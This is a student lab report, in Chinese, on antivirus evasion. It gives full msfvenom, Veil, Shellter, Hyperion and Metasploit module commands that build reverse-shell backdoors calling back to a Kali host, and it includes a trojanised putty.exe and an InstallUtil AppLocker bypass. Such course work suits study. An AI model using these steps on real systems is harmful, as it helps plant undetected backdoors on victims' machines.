一、實驗原理
免殺技術全稱爲反殺毒技術Anti Anti- Virus簡稱“免殺”,它指的是一種能使病毒木馬免於被殺毒軟件查殺的技術。
免殺的基本方式有改變特徵碼和改變行爲
惡意軟件檢測機制有基於特徵碼檢測、啓發式惡意軟件檢測和基於行爲的惡意軟件檢測。
二、實驗過程
(一)正確使用msf編碼器
1.後門文件檢測
將實驗二中生成的後門文件【4309_bavkdoor.exe】上傳到VirusTotal或Virscan這兩個網站進行掃描。
在VirusTotal上的掃描結果如下:
在Virscan上掃描結果如下:
這說明赤裸裸的後門程序是很難在裝有殺軟的主機正常運行的(但是還是有這麼多殺軟檢測不出來也是很迷惑)。
2.msf編碼
接下來我們使用msf編碼器對後門程序進行編碼後再檢測。
在終端輸入 msfconsole 進入mfs控制檯,輸入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.152.129 LPORT=4309 -f exe > 4309_backdoor1.exe ,生成後在VirusTotal進行檢測結果如下:
少了兩個......效果可以忽略。
再用-i 指定次數爲10,輸入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.152.129 LPORT=4309 -f exe > 4309_backdoor2.exe, 再在VirusTotal進行檢測(因爲Viscan比較卡):
它竟然還變多了........原因在指導書裏也有,就當是驗證一下了。
(二)msf生成如jar之類的其他文件
1.生成jar文件
輸入 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 x> 4309_backdoor_java.jar 生成jar文件,繼續檢測:
變少了!棒!
2.生成php文件
輸入 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 x> 4309_backdoor.php 生成php文件,檢測:
哇好神奇!
(三)veil
1.veil安裝
安裝這一步真的是......花費了兩天半的時間才終於在李浩然同學的幫助下安裝好了。由於遇到的問題實在是太多了記不過來,畢竟兩天半估計沒有遇不到的問題了。建議就是所有的方法都試一試,說不定哪個就有用了呢。我最後解決之前遇到的問題是這樣的:
解決方法:
apt-get remove veil //卸載veil
apt-get update //我最後用的源是阿里雲的
apt-get install veil-evasion
cd /usr/share/veil/config/
vim setup.sh //250行有一個GitHub的鏈接,刪掉,換成https://gitee.com/spears/VeilDependencies.git,然後保存退出
veil //默認選項安裝即可
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
apt-get remove veil //再卸掉veil
apt-get install veil-evasion //如果要你run一下什麼就按它要求來,我的是./usr/share/veil/config/setup.sh --force --silent
veil //終於成功了,顫抖的雙手
2.生成文件
輸入 veil 進入,輸入 use evasion 進入veil-evasion
輸入 use c/meterpreter/rev_tcp.py 進入配置,輸入
set LHOST 192.168.152.129 //kali的IP地址
set LPORT 4309 //端口號
generate //生成文件
然後輸入文件名 4309,此時可以看到文件所在位置。
檢測結果:
(四)c+shellcode編程
輸入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=4309 -f c ,得到一段shellcode編碼。
【touch】指令創建一個c文件,vim打開編輯,輸入老師給的C語言代碼:
使用 i686-w64-mingw32-g++ 4309.c -o 4309.exe 將c文件轉爲exe文件。
檢測結果:
(五)加殼工具
1.UPX
輸入 upx 4309.exe -o 4309_upxed.exe 給之前的文件加殼,簡單也沒什麼效果
在Windows端運行,kali打開msf監控測試:
2.HYPERION
此處參考的博文鏈接 。安裝代碼如下:
git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip
unzip Hyperion-1.2.zip
dpkg --add-architecture i386
apt-get update
apt-get install wine32
在第一步的時候顯示沒有找到文件,我直接打開那個網址下載【Hyperion-1.2.zip】文件然後拷貝到kali下。
生成加密器代碼:
cd Hyperion-1.2
i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o h.exe
加密過程出現了問題,我要加密的文件無法拷貝到【Hyperion-1.2】文件夾中,多次嘗試無果,我把【Hyperion-1.2】文件夾中的所有文件複製到另一個文件夾,然後在把後門文件複製進去,輸入 wine h.exe -v 4309-2.exe 4309_hyperion.exe 進行加密。
成功!在新建的那個文件夾裏可以找到新生成的文件,拷貝到Windows下運行,
被發現啦,不過還是可以成功反彈回連的。
總結:這兩個加殼工具都不太可。
(六)其他工具
在這裏我使用的是shellter工具,此處參考博文鏈接。
1.shellter安裝
使用命令 apt-get intsall shellter ,安裝完以後出現輸入文件名閃退的現象,沒有查到原因就卸載後更新源重新安裝了一遍,過程如下:
2.下載所需文件
在這個網站找到【Downloads for Windows on Arm】,選擇【32-bit Arm:putty.exe】下載putty.exe。
3.使用shellter生成後門程序
將下載好的putty.exe文件(一定要是32位的)複製到 /home/xuningyi 目錄下,終端 輸入 shellter 打開shellter工具,首先選擇模式:A-自動,M-管理者,H-幫助選項,這次我們選擇【A】,然後輸入文件路徑。如果出現錯誤的話(比如【A backup of the file was not taken!】)可以切換root用戶試試。
此時會將文件備份,輸入【Y】選擇隱身模式,出現幾種鏈接方式,我們選擇tcp鏈接,輸入
【L】,然後輸入【1】。
輸入kali主機地址和端口號
此時的putty.exe文件已經含有後門,我們將它拷貝到Windows主機,殺軟沒有提醒(高興的太早了)。
在msf端打開監控,在Windows端雙擊運行我們的後門文件。好嘛還是被殺軟發現了。此時已經獲得Windows端,因爲跟上一次的後門文件位置不同,所以【dir】指令的結果也不太一樣。
網站檢測效果不咋地啊:
(七)組合技術實現免殺
因爲shellter畢竟是個開源的免費工具,沒有實現免殺,我們用hyperion來給它加個殼試試。也是把【putty.exe】文件複製到那個文件夾中,輸入 wine h.exe putty.exe putty_hyperion.exe
複製到Windows端,kali反彈打開msf監控:
還是會被發現啊
還是方法太簡單了吧,這些廠家都盯着呢肯定早就想到了。
在網上找了亂七八糟的資料,最後用了兩個方法(其實是msf裏面的兩個模塊)。
1.windows/applocker_evasion_install_util模塊
參考鏈接。打開msf,輸入指令:
use windows/applocker_evasion_install_util
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.152.129
set lport 4309
run
然後可以找到文件的存儲位置,拷貝到Windows下後需要用csc.exe編譯一下
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:install_util.exe C:\Users\admin\Desktop\install_util.txt \\其實就是:[csc.exe位置] /out:[所要生成的文件名] [拷貝文件位置]
直接【install_util.exe】是運行不了的,需要藉助【InstallUtil.exe】。
C:\Users\admin>C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false C:\Users\admin\install_util.exe
上面的【csc.exe】和【InstallUtil.exe】在【C:\Windows\Microsoft.NET\Framework】目錄下找一找,我的exe文件的位置跟原文中寫的不太一樣,但是照着來也能實現。然後就是在Windows端運行exe、kali端監聽了。
2.windows/window_defender_exe模塊
參考鏈接。輸入指令:
use windows/windows_defender_exe
set FILENAME exp3_4309.exe
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.152.129
set LPORT 4309
exploit
可以找到生成目錄,拷貝到windows運行、kali監聽。
這個確實是最少的一個了。有感覺了。然後去加殼試試。
(八)免殺實測
殺軟名稱:360安全衛士
版本:
實測結果:
是用了查殺數最少的windows/window_defender_exe模塊生成的後門文件在加殼。
三、實驗總結
(一)基礎知識問答
1.殺軟是如何檢測出惡意代碼的?
(1)基於特徵碼檢測:如果一個可執行文件(或其他運行的庫、腳本等)包含特定的數據則被認爲是惡意代碼。
(2)啓發式惡意軟件檢測:如果一個軟件乾的事通常是惡意軟件纔會乾的,就可從中得到啓發,把它看做是惡意軟件。
(3)基於行爲的惡意軟件檢測:相當於是啓發式的一種,或者是加入了行爲監控的啓發式。通過對病毒多年的觀察、研究,有一些行爲是惡意代碼的共同行爲,而且比較特殊。當程序運行時,進行檢測,如果發現了病毒行爲,立即報警。
2.免殺是做什麼?
就是通過針對殺毒軟件查殺惡意代碼的原理,將惡意代碼進行修改和包裝,反過來使得惡意代碼能夠不被殺毒軟件所檢測和查殺,更好地植入到被攻擊的主機中進行一些非法的操作。
3.免殺的基本方法有哪些?
(1)改變特徵碼
- 只有exe
- 加殼:壓縮殼,加密殼
- 有shellcode
- 用encode進行編碼
- 基於payload重新編譯生成可執行文件
- 有源代碼
- 用其他語言進行重寫再編譯(veil-evasion)
(2)改變行爲
- 通訊方式
- 儘量使用反彈式連接
- 使用隧道技術
- 加密通訊數據
- 操作模式
- 基於內存操作
- 減少對系統的修改
- 加入混淆作用的正常功能代碼。
(二)實驗總結與體會
我看很多同學做完這次實驗以後都覺得我們的殺軟不太行,但是我覺得殺軟再怎麼不行也比我的水平高很多(捂臉),測試網站上的那些軟件我基本沒有用過,但我自己電腦上的殺軟在後門程序運行的時候檢測結果還是很迅速且準確的,不過也確實沒有之前那麼信賴他們了,感覺這門課程是在一步步帶領我們探索發現的,之前的實驗讓我覺得殺軟很重要,這次實驗卻讓我對他們產生懷疑,不知道後面的實驗會帶給我什麼驚喜。還是之前的想法,學習這些技術是爲了瞭解原理從而更好地進行防護,這纔是課程學習的意義所在。
(三)開啓殺軟不能絕對防止電腦中惡意代碼
這就很明顯了吧,肯定是不可能的,且不說很多種方法可以做到免殺,大多數殺軟可能防得了已經有的技術,但是人們的創新創造思維是無窮盡的。